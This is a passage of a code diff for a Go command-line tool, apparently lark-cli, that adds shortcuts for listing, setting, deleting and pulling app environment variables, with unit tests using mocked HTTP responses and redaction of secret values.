return envVarListOutput{
|
||||
Items: normalizeEnvVarItems(envVarItemsRaw(src), includeValues),
|
||||
PageToken: envVarStringAny(src, "page_token", "next_page_token", "nextPageToken"),
|
||||
HasMore: envVarBoolAny(src, "has_more", "hasMore"),
|
||||
}
|
||||
}
|
||||
|
||||
func envVarResponseMap(data map[string]interface{}) map[string]interface{} {
|
||||
if nested, ok := data["data"].(map[string]interface{}); ok {
|
||||
return nested
|
||||
}
|
||||
return data
|
||||
}
|
||||
|
||||
func envVarItemsRaw(data map[string]interface{}) interface{} {
|
||||
if raw := data["env_vars"]; raw != nil {
|
||||
return raw
|
||||
}
|
||||
if raw := data["envVars"]; raw != nil {
|
||||
return raw
|
||||
}
|
||||
return data["items"]
|
||||
}
|
||||
|
||||
func normalizeEnvVarItems(raw interface{}, includeValues bool) []map[string]interface{} {
|
||||
switch typed := raw.(type) {
|
||||
case []interface{}:
|
||||
out := make([]map[string]interface{}, 0, len(typed))
|
||||
for _, item := range typed {
|
||||
m, ok := item.(map[string]interface{})
|
||||
if !ok {
|
||||
continue
|
||||
}
|
||||
out = append(out, filterEnvVarItem(m, includeValues))
|
||||
}
|
||||
return out
|
||||
case map[string]interface{}:
|
||||
keys := make([]string, 0, len(typed))
|
||||
for key := range typed {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
sort.Strings(keys)
|
||||
out := make([]map[string]interface{}, 0, len(keys))
|
||||
for _, key := range keys {
|
||||
item := map[string]interface{}{"key": key}
|
||||
if includeValues {
|
||||
item["value"] = typed[key]
|
||||
}
|
||||
out = append(out, item)
|
||||
}
|
||||
return out
|
||||
default:
|
||||
return []map[string]interface{}{}
|
||||
}
|
||||
}
|
||||
|
||||
func filterEnvVarItem(item map[string]interface{}, includeValues bool) map[string]interface{} {
|
||||
out := make(map[string]interface{}, len(item))
|
||||
for key, value := range item {
|
||||
if key == "value" && !includeValues {
|
||||
continue
|
||||
}
|
||||
out[key] = value
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
func envVarListSchema(includeValues bool) appsOutputSchema {
|
||||
columns := []appsOutputColumn{
|
||||
{Key: "key"},
|
||||
{Key: "env"},
|
||||
}
|
||||
if includeValues {
|
||||
columns = append(columns, appsOutputColumn{Key: "value"})
|
||||
}
|
||||
return appsOutputSchema{Columns: columns, Strict: true}
|
||||
}
|
||||
|
||||
func envVarStringAny(data map[string]interface{}, keys ...string) string {
|
||||
for _, key := range keys {
|
||||
if value, ok := data[key].(string); ok {
|
||||
return value
|
||||
}
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
func envVarStringSliceAny(data map[string]interface{}, keys ...string) []string {
|
||||
for _, key := range keys {
|
||||
switch raw := data[key].(type) {
|
||||
case []string:
|
||||
return append([]string(nil), raw...)
|
||||
case []interface{}:
|
||||
out := make([]string, 0, len(raw))
|
||||
for _, item := range raw {
|
||||
if value, ok := item.(string); ok {
|
||||
out = append(out, value)
|
||||
}
|
||||
}
|
||||
if len(out) > 0 {
|
||||
return out
|
||||
}
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func envVarBoolAny(data map[string]interface{}, keys ...string) bool {
|
||||
for _, key := range keys {
|
||||
if value, ok := data[key].(bool); ok {
|
||||
return value
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
@@ -62,8 +62,9 @@ var AppsEnvPull = common.Shortcut{
|
||||
projectPath, envFile, _ := resolveEnvPullTarget(strings.TrimSpace(rctx.Str("project-path")))
|
||||
appID := strings.TrimSpace(rctx.Str("app-id"))
|
||||
return common.NewDryRunAPI().
|
||||
POST(fmt.Sprintf("%s/apps/%s/env_vars", apiBasePath, validate.EncodePathSegment(appID))).
|
||||
POST(envPullVarsPath(appID)).
|
||||
Desc("Pull app startup env vars into the local .env.local file").
|
||||
Body(envPullVarsBody()).
|
||||
Set("project_path", projectPath).
|
||||
Set("env_file", envFile)
|
||||
},
|
||||
@@ -80,10 +81,9 @@ var AppsEnvPull = common.Shortcut{
|
||||
return err
|
||||
}
|
||||
|
||||
path := fmt.Sprintf("%s/apps/%s/env_vars", apiBasePath, validate.EncodePathSegment(appID))
|
||||
data, err := rctx.CallAPITyped("POST", path, nil, nil)
|
||||
data, err := rctx.CallAPITyped("POST", envPullVarsPath(appID), nil, envPullVarsBody())
|
||||
if err != nil {
|
||||
return withAppsHint(err, "verify --app-id is correct and you have access to the app; list your apps with `lark-cli apps +list`")
|
||||
return withAppsHint(err, envPullAPIErrorHint(err, appID))
|
||||
}
|
||||
|
||||
envVars, databaseInfo, skippedKeys, err := extractEnvPullVars(data)
|
||||
@@ -116,6 +116,37 @@ var AppsEnvPull = common.Shortcut{
|
||||
},
|
||||
}
|
||||
|
||||
func envPullVarsPath(appID string) string {
|
||||
return fmt.Sprintf("%s/apps/%s/env_vars", apiBasePath, validate.EncodePathSegment(appID))
|
||||
}
|
||||
|
||||
func envPullVarsBody() map[string]interface{} {
|
||||
return map[string]interface{}{
|
||||
"env": "dev",
|
||||
}
|
||||
}
|
||||
|
||||
func envPullAPIErrorHint(err error, appID string) string {
|
||||
if isEnvPullDevDBNotInitializedError(err) {
|
||||
appID = strings.TrimSpace(appID)
|
||||
if appID == "" {
|
||||
appID = "<app_id>"
|
||||
}
|
||||
return fmt.Sprintf("dev database is not initialized; preview creation with `lark-cli apps +db-env-create --app-id %s --environment dev --dry-run`, then run `lark-cli apps +db-env-create --app-id %s --environment dev --sync-data --yes` after confirming the irreversible split", appID, appID)
|
||||
}
|
||||
return appIDListHint
|
||||
}
|
||||
|
||||
func isEnvPullDevDBNotInitializedError(err error) bool {
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
return false
|
||||
}
|
||||
message := strings.ToLower(p.Message)
|
||||
return strings.Contains(message, "multi-environment database is not initialized") ||
|
||||
(strings.Contains(message, "invalid db branch") && strings.Contains(message, "dev"))
|
||||
}
|
||||
|
||||
func resolveEnvPullTarget(projectPath string) (string, string, error) {
|
||||
if strings.TrimSpace(projectPath) == "" {
|
||||
cwd, err := os.Getwd() //nolint:forbidigo // shortcuts cannot import internal/vfs; cwd lookup is local-only and bounded.
|
||||
@@ -150,13 +181,19 @@ func checkEnvPullTarget(envFile string) error {
|
||||
|
||||
func extractEnvPullVars(data map[string]interface{}) (map[string]string, envPullDatabaseInfo, []string, error) {
|
||||
raw := data["env_vars"]
|
||||
if raw == nil {
|
||||
raw = data["envVars"]
|
||||
}
|
||||
if raw == nil {
|
||||
if nested, ok := data["data"].(map[string]interface{}); ok {
|
||||
raw = nested["env_vars"]
|
||||
if raw == nil {
|
||||
raw = nested["envVars"]
|
||||
}
|
||||
}
|
||||
}
|
||||
if raw == nil {
|
||||
return nil, envPullDatabaseInfo{}, nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "response field env_vars must be an object or array of key/value entries")
|
||||
return nil, envPullDatabaseInfo{}, nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "response field env_vars/envVars must be an object or array of key/value entries")
|
||||
}
|
||||
|
||||
var skippedKeys []string
|
||||
@@ -203,7 +240,7 @@ func extractEnvPullVars(data map[string]interface{}) (map[string]string, envPull
|
||||
}
|
||||
return out, info, skippedKeys, nil
|
||||
default:
|
||||
return nil, envPullDatabaseInfo{}, nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "response field env_vars must be an object or array of key/value entries")
|
||||
return nil, envPullDatabaseInfo{}, nil, errs.NewInternalError(errs.SubtypeInvalidResponse, "response field env_vars/envVars must be an object or array of key/value entries")
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -7,6 +7,7 @@ import (
|
||||
"bytes"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net/http"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
@@ -31,6 +32,11 @@ func assertValidationError(t *testing.T, err error, wantSubstr string) {
|
||||
}
|
||||
}
|
||||
|
||||
func assertEnvPullBody(t *testing.T, req *http.Request) {
|
||||
t.Helper()
|
||||
assertEnvVarBody(t, req, map[string]interface{}{"env": "dev"})
|
||||
}
|
||||
|
||||
func TestResolveEnvPullTarget_DefaultProjectPathUsesCWD(t *testing.T) {
|
||||
cwd := t.TempDir()
|
||||
oldwd, err := os.Getwd()
|
||||
@@ -255,7 +261,7 @@ func TestBuildEnvPullSuccessDataSuppressesEnvKeysAndValues(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvPull_DryRunUsesPostAndResolvedEnvFile(t *testing.T) {
|
||||
func TestAppsEnvPull_DryRunUsesPostBodyAndResolvedEnvFile(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
projectDir := t.TempDir()
|
||||
|
||||
@@ -272,6 +278,9 @@ func TestAppsEnvPull_DryRunUsesPostAndResolvedEnvFile(t *testing.T) {
|
||||
if !strings.Contains(got, `/open-apis/spark/v1/apps/app_x/env_vars`) {
|
||||
t.Fatalf("dry-run missing endpoint: %s", got)
|
||||
}
|
||||
if !strings.Contains(got, `"env": "dev"`) || strings.Contains(got, `"include_values"`) {
|
||||
t.Fatalf("dry-run must include only env=dev in the request body: %s", got)
|
||||
}
|
||||
if !strings.Contains(got, filepath.Join(projectDir, ".env.local")) {
|
||||
t.Fatalf("dry-run must include resolved env file path: %s", got)
|
||||
}
|
||||
@@ -283,6 +292,9 @@ func TestAppsEnvPull_PrettyOutput_WithDatabaseLine(t *testing.T) {
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/env_vars",
|
||||
OnMatch: func(req *http.Request) {
|
||||
assertEnvPullBody(t, req)
|
||||
},
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
@@ -550,6 +562,68 @@ func TestAppsEnvPull_ExecuteUsesNestedDataEnvVars(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvPull_NonObjectJSONDoesNotCarryAppIDHint(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/env_vars",
|
||||
RawBody: []byte("[]"),
|
||||
OnMatch: func(req *http.Request) {
|
||||
assertEnvPullBody(t, req)
|
||||
},
|
||||
})
|
||||
|
||||
err := runAppsShortcut(t, AppsEnvPull,
|
||||
[]string{"+env-pull", "--app-id", "app_x", "--project-path", t.TempDir(), "--as", "user"},
|
||||
factory, stdout,
|
||||
)
|
||||
if err == nil {
|
||||
t.Fatalf("expected non-object JSON failure, got nil; stdout=%s", stdout.String())
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed problem, got %T: %v", err, err)
|
||||
}
|
||||
if p.Category != errs.CategoryInternal || p.Subtype != errs.SubtypeInvalidResponse {
|
||||
t.Fatalf("classification = %s/%s, want internal/invalid_response", p.Category, p.Subtype)
|
||||
}
|
||||
if strings.Contains(p.Hint, "apps +list") || strings.Contains(p.Hint, "--app-id") {
|
||||
t.Fatalf("hint should not point to app-id/list recovery for malformed upstream JSON: %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvPull_DevDBNotInitializedHintPointsToDBEnvCreate(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/env_vars",
|
||||
Body: map[string]interface{}{
|
||||
"code": -1,
|
||||
"msg": "Multi-environment database is not initialized for this app. Invalid DB Branch:dev",
|
||||
},
|
||||
OnMatch: func(req *http.Request) {
|
||||
assertEnvPullBody(t, req)
|
||||
},
|
||||
})
|
||||
|
||||
err := runAppsShortcut(t, AppsEnvPull,
|
||||
[]string{"+env-pull", "--app-id", "app_x", "--project-path", t.TempDir(), "--as", "user"},
|
||||
factory, stdout,
|
||||
)
|
||||
p := requireAppsAPIProblem(t, err)
|
||||
if p.Code != -1 {
|
||||
t.Fatalf("code = %d, want -1", p.Code)
|
||||
}
|
||||
for _, want := range []string{"+db-env-create", "--app-id app_x", "--environment dev", "--dry-run", "--yes"} {
|
||||
if !strings.Contains(p.Hint, want) {
|
||||
t.Fatalf("hint missing %q: %q", want, p.Hint)
|
||||
}
|
||||
}
|
||||
if strings.Contains(p.Hint, "apps +list") {
|
||||
t.Fatalf("hint should not point to app-id/list recovery for missing dev database: %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvPull_ExecuteUsesArrayEnvVars(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
projectDir := t.TempDir()
|
||||
|
||||
409
shortcuts/apps/apps_env_test.go
Normal file
409
shortcuts/apps/apps_env_test.go
Normal file
@@ -0,0 +1,409 @@
|
||||
// Copyright (c) 2026 Lark Technologies Pte. Ltd.
|
||||
// SPDX-License-Identifier: MIT
|
||||
|
||||
package apps
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"net/http"
|
||||
"reflect"
|
||||
"strings"
|
||||
"testing"
|
||||
|
||||
"github.com/larksuite/cli/errs"
|
||||
"github.com/larksuite/cli/internal/httpmock"
|
||||
)
|
||||
|
||||
func assertEnvVarBody(t *testing.T, req *http.Request, want map[string]interface{}) {
|
||||
t.Helper()
|
||||
if req.URL.RawQuery != "" {
|
||||
t.Fatalf("query should be empty, got %q", req.URL.RawQuery)
|
||||
}
|
||||
var got map[string]interface{}
|
||||
if err := json.NewDecoder(req.Body).Decode(&got); err != nil {
|
||||
t.Fatalf("decode body: %v", err)
|
||||
}
|
||||
if !reflect.DeepEqual(got, want) {
|
||||
t.Fatalf("body = %#v, want %#v", got, want)
|
||||
}
|
||||
}
|
||||
|
||||
func expectedEnvVarSceneJSON() float64 {
|
||||
return float64(defaultAppsEnvVarScene)
|
||||
}
|
||||
|
||||
func decodeEnvVarEnvelopeData(t *testing.T, stdout string) map[string]interface{} {
|
||||
t.Helper()
|
||||
var envelope struct {
|
||||
OK bool `json:"ok"`
|
||||
Data map[string]interface{} `json:"data"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(stdout), &envelope); err != nil {
|
||||
t.Fatalf("decode stdout: %v\n%s", err, stdout)
|
||||
}
|
||||
if !envelope.OK {
|
||||
t.Fatalf("expected ok envelope, got %s", stdout)
|
||||
}
|
||||
return envelope.Data
|
||||
}
|
||||
|
||||
func requireEnvVarValidationProblem(t *testing.T, err error, param string) {
|
||||
t.Helper()
|
||||
p := requireAppsProblem(t, err, errs.CategoryValidation)
|
||||
if p.Subtype != errs.SubtypeInvalidArgument {
|
||||
t.Fatalf("validation subtype = %q, want %q", p.Subtype, errs.SubtypeInvalidArgument)
|
||||
}
|
||||
var validation *errs.ValidationError
|
||||
if !errors.As(err, &validation) {
|
||||
t.Fatalf("expected *errs.ValidationError, got %T: %v", err, err)
|
||||
}
|
||||
if validation.Param != param {
|
||||
t.Fatalf("validation param = %q, want %q", validation.Param, param)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarList_DefaultsToDevAndHidesValues(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/env_vars",
|
||||
OnMatch: func(req *http.Request) {
|
||||
assertEnvVarBody(t, req, map[string]interface{}{"env": "dev", "scene": expectedEnvVarSceneJSON()})
|
||||
},
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"envVars": []interface{}{
|
||||
map[string]interface{}{"key": "SECRET_TOKEN", "value": "super-secret", "env": "dev"},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsEnvVarList,
|
||||
[]string{"+env-list", "--app-id", "app_x", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
got := stdout.String()
|
||||
if strings.Contains(got, "super-secret") || strings.Contains(got, `"value"`) {
|
||||
t.Fatalf("stdout must not expose values by default: %s", got)
|
||||
}
|
||||
data := decodeEnvVarEnvelopeData(t, got)
|
||||
items, ok := data["items"].([]interface{})
|
||||
if !ok || len(items) != 1 {
|
||||
t.Fatalf("items = %#v, want one item", data["items"])
|
||||
}
|
||||
item, ok := items[0].(map[string]interface{})
|
||||
if !ok || item["key"] != "SECRET_TOKEN" {
|
||||
t.Fatalf("item = %#v, want SECRET_TOKEN", items[0])
|
||||
}
|
||||
if _, ok := item["value"]; ok {
|
||||
t.Fatalf("item must not contain value by default: %#v", item)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarList_IncludeValuesAllowsValues(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/env_vars",
|
||||
OnMatch: func(req *http.Request) {
|
||||
assertEnvVarBody(t, req, map[string]interface{}{"env": "online", "scene": expectedEnvVarSceneJSON()})
|
||||
},
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"envVars": []interface{}{
|
||||
map[string]interface{}{"key": "SECRET_TOKEN", "value": "super-secret", "env": "online"},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsEnvVarList,
|
||||
[]string{"+env-list", "--app-id", "app_x", "--environment", "online", "--include-values", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
got := stdout.String()
|
||||
if !strings.Contains(got, "super-secret") {
|
||||
t.Fatalf("stdout should include values when requested: %s", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarList_DoesNotAcceptEnvironmentShorthand(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsEnvVarList,
|
||||
[]string{"+env-list", "--app-id", "app_x", "-e", "online", "--as", "user"}, factory, stdout)
|
||||
if err == nil || !strings.Contains(err.Error(), "unknown shorthand flag: 'e'") {
|
||||
t.Fatalf("expected unknown -e shorthand, got %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarList_DryRunIncludesScene(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsEnvVarList, []string{
|
||||
"+env-list", "--app-id", "app_x", "--include-values", "--dry-run", "--as", "user",
|
||||
}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
var dryRun struct {
|
||||
API []struct {
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
if err := json.Unmarshal(stdout.Bytes(), &dryRun); err != nil {
|
||||
t.Fatalf("decode dry-run: %v\n%s", err, stdout.String())
|
||||
}
|
||||
if got := dryRun.API[0].Body["scene"]; got != expectedEnvVarSceneJSON() {
|
||||
t.Fatalf("body.scene = %#v, want %v; stdout:\n%s", got, expectedEnvVarSceneJSON(), stdout.String())
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarList_PrettyDisplaysTable(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/env_vars",
|
||||
Body: map[string]interface{}{
|
||||
"code": 0,
|
||||
"data": map[string]interface{}{
|
||||
"envVars": []interface{}{
|
||||
map[string]interface{}{"key": "API_HOST", "value": "https://example.com", "env": "online"},
|
||||
},
|
||||
},
|
||||
},
|
||||
})
|
||||
|
||||
if err := runAppsShortcut(t, AppsEnvVarList, []string{
|
||||
"+env-list", "--app-id", "app_x", "--environment", "online", "--include-values", "--format", "pretty", "--as", "user",
|
||||
}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
got := stdout.String()
|
||||
if !strings.HasPrefix(got, "key") {
|
||||
t.Fatalf("pretty output should start with key column, got:\n%s", got)
|
||||
}
|
||||
for _, want := range []string{"API_HOST", "online", "https://example.com"} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Fatalf("pretty output missing %q:\n%s", want, got)
|
||||
}
|
||||
}
|
||||
if strings.Contains(got, `"ok"`) || strings.Contains(got, `"data"`) {
|
||||
t.Fatalf("pretty output should not fall back to JSON envelope:\n%s", got)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarSet_OnlineRequiresYesOutsideDryRun(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsEnvVarSet,
|
||||
[]string{"+env-set", "--app-id", "app_x", "--environment", "online",
|
||||
"--key", "SECRET_TOKEN", "--value", "super-secret", "--as", "user"}, factory, stdout)
|
||||
|
||||
p := requireAppsProblem(t, err, errs.CategoryConfirmation)
|
||||
if p.Subtype != errs.SubtypeConfirmationRequired {
|
||||
t.Fatalf("confirmation subtype = %q, want %q", p.Subtype, errs.SubtypeConfirmationRequired)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "add --yes") {
|
||||
t.Fatalf("confirmation hint missing --yes guidance: %#v", p)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarSet_OnlineDryRunDoesNotRequireYes(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsEnvVarSet,
|
||||
[]string{"+env-set", "--app-id", "app_x", "--environment", "online",
|
||||
"--key", "SECRET_TOKEN", "--value", "super-secret", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
|
||||
got := stdout.String()
|
||||
if strings.Contains(got, "super-secret") {
|
||||
t.Fatalf("dry-run must redact value: %s", got)
|
||||
}
|
||||
for _, want := range []string{`"method": "POST"`, `/open-apis/spark/v1/apps/app_x/create_or_update_env_var`} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Fatalf("dry-run missing %q: %s", want, got)
|
||||
}
|
||||
}
|
||||
var dryRun struct {
|
||||
API []struct {
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
if err := json.Unmarshal([]byte(got), &dryRun); err != nil {
|
||||
t.Fatalf("decode dry-run: %v\n%s", err, got)
|
||||
}
|
||||
if len(dryRun.API) != 1 || dryRun.API[0].Body["value"] != "<redacted>" || dryRun.API[0].Body["key"] != "SECRET_TOKEN" {
|
||||
t.Fatalf("dry-run body = %#v, want redacted value and key", dryRun.API)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarSet_ExecutesWithYesAndDoesNotEchoValue(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
stub := &httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/create_or_update_env_var",
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"action": "updated"}},
|
||||
}
|
||||
reg.Register(stub)
|
||||
|
||||
if err := runAppsShortcut(t, AppsEnvVarSet,
|
||||
[]string{"+env-set", "--app-id", "app_x", "--environment", "online",
|
||||
"--key", "SECRET_TOKEN", "--value", "super-secret", "--yes", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
var sent map[string]interface{}
|
||||
if err := json.Unmarshal(stub.CapturedBody, &sent); err != nil {
|
||||
t.Fatalf("decode body: %v", err)
|
||||
}
|
||||
if sent["key"] != "SECRET_TOKEN" || sent["env"] != "online" || sent["value"] != "super-secret" {
|
||||
t.Fatalf("body = %#v, want real online value", sent)
|
||||
}
|
||||
got := stdout.String()
|
||||
if strings.Contains(got, "super-secret") || strings.Contains(got, `"value"`) {
|
||||
t.Fatalf("stdout must not echo value: %s", got)
|
||||
}
|
||||
for _, want := range []string{`"key": "SECRET_TOKEN"`, `"env": "online"`, `"action": "updated"`} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Fatalf("stdout missing %q: %s", want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarDelete_IsHighRiskWrite(t *testing.T) {
|
||||
if AppsEnvVarDelete.Risk != "high-risk-write" {
|
||||
t.Fatalf("risk = %q, want high-risk-write", AppsEnvVarDelete.Risk)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarDelete_BuildsDeleteBodyWithKeys(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
stub := &httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/delete_env_vars",
|
||||
Body: map[string]interface{}{"code": 0, "data": map[string]interface{}{"deleted_keys": []interface{}{"SECRET_ONE", "SECRET_TWO"}}},
|
||||
}
|
||||
reg.Register(stub)
|
||||
|
||||
if err := runAppsShortcut(t, AppsEnvVarDelete,
|
||||
[]string{"+env-delete", "--app-id", "app_x", "--environment", "online",
|
||||
"--key", "SECRET_ONE", "--key", "SECRET_TWO", "--yes", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("execute err=%v", err)
|
||||
}
|
||||
|
||||
var sent map[string]interface{}
|
||||
if err := json.Unmarshal(stub.CapturedBody, &sent); err != nil {
|
||||
t.Fatalf("decode body: %v", err)
|
||||
}
|
||||
if sent["env"] != "online" {
|
||||
t.Fatalf("body.env = %v, want online", sent["env"])
|
||||
}
|
||||
keys, ok := sent["keys"].([]interface{})
|
||||
if !ok || len(keys) != 2 || keys[0] != "SECRET_ONE" || keys[1] != "SECRET_TWO" {
|
||||
t.Fatalf("body.keys = %#v, want SECRET_ONE/SECRET_TWO", sent["keys"])
|
||||
}
|
||||
got := stdout.String()
|
||||
for _, want := range []string{`"env": "online"`, `"deleted_keys"`, `"SECRET_ONE"`, `"SECRET_TWO"`} {
|
||||
if !strings.Contains(got, want) {
|
||||
t.Fatalf("stdout missing %q: %s", want, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarDelete_NotModifiableHint(t *testing.T) {
|
||||
factory, stdout, reg := newAppsExecuteFactory(t)
|
||||
reg.Register(&httpmock.Stub{
|
||||
Method: "POST",
|
||||
URL: "/open-apis/spark/v1/apps/app_x/delete_env_vars",
|
||||
Body: map[string]interface{}{
|
||||
"code": 400000072,
|
||||
"msg": "Invalid Request: env var (INTEGRATION_TOKEN) is not modifiable",
|
||||
},
|
||||
})
|
||||
|
||||
err := runAppsShortcut(t, AppsEnvVarDelete,
|
||||
[]string{"+env-delete", "--app-id", "app_x", "--key", "INTEGRATION_TOKEN", "--yes", "--as", "user"}, factory, stdout)
|
||||
if err == nil {
|
||||
t.Fatalf("expected not modifiable error, got nil; stdout=%s", stdout.String())
|
||||
}
|
||||
p, ok := errs.ProblemOf(err)
|
||||
if !ok {
|
||||
t.Fatalf("expected typed problem, got %T: %v", err, err)
|
||||
}
|
||||
if p.Code != 400000072 {
|
||||
t.Fatalf("code = %d, want 400000072", p.Code)
|
||||
}
|
||||
if !strings.Contains(p.Hint, "platform-managed") || !strings.Contains(p.Hint, "user-defined") {
|
||||
t.Fatalf("hint = %q, want platform-managed/user-defined guidance", p.Hint)
|
||||
}
|
||||
if strings.Contains(p.Hint, "apps +list") {
|
||||
t.Fatalf("hint should not point at app listing for protected env vars: %q", p.Hint)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarDelete_OnlineDryRunDoesNotRequireYes(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
if err := runAppsShortcut(t, AppsEnvVarDelete,
|
||||
[]string{"+env-delete", "--app-id", "app_x", "--environment", "online",
|
||||
"--key", "SECRET_ONE", "--key", "SECRET_TWO", "--dry-run", "--as", "user"}, factory, stdout); err != nil {
|
||||
t.Fatalf("dry-run err=%v", err)
|
||||
}
|
||||
|
||||
var dryRun struct {
|
||||
API []struct {
|
||||
Method string `json:"method"`
|
||||
URL string `json:"url"`
|
||||
Body map[string]interface{} `json:"body"`
|
||||
} `json:"api"`
|
||||
}
|
||||
got := stdout.String()
|
||||
if err := json.Unmarshal([]byte(got), &dryRun); err != nil {
|
||||
t.Fatalf("decode dry-run: %v\n%s", err, got)
|
||||
}
|
||||
if len(dryRun.API) != 1 || dryRun.API[0].Method != "POST" || dryRun.API[0].URL != "/open-apis/spark/v1/apps/app_x/delete_env_vars" {
|
||||
t.Fatalf("dry-run api = %#v", dryRun.API)
|
||||
}
|
||||
if dryRun.API[0].Body["env"] != "online" {
|
||||
t.Fatalf("dry-run body.env = %v, want online", dryRun.API[0].Body["env"])
|
||||
}
|
||||
keys, ok := dryRun.API[0].Body["keys"].([]interface{})
|
||||
if !ok || len(keys) != 2 || keys[0] != "SECRET_ONE" || keys[1] != "SECRET_TWO" {
|
||||
t.Fatalf("dry-run body.keys = %#v, want SECRET_ONE/SECRET_TWO", dryRun.API[0].Body["keys"])
|
||||
}
|
||||
}
|
||||
|
||||
func TestAppsEnvVarList_InvalidEnvTypedValidation(t *testing.T) {
|
||||
factory, stdout, _ := newAppsExecuteFactory(t)
|
||||
err := runAppsShortcut(t, AppsEnvVarList,
|
||||
[]string{"+env-list", "--app-id", "app_x", "--environment", "prod", "--as", "user"}, factory, stdout)
|
||||
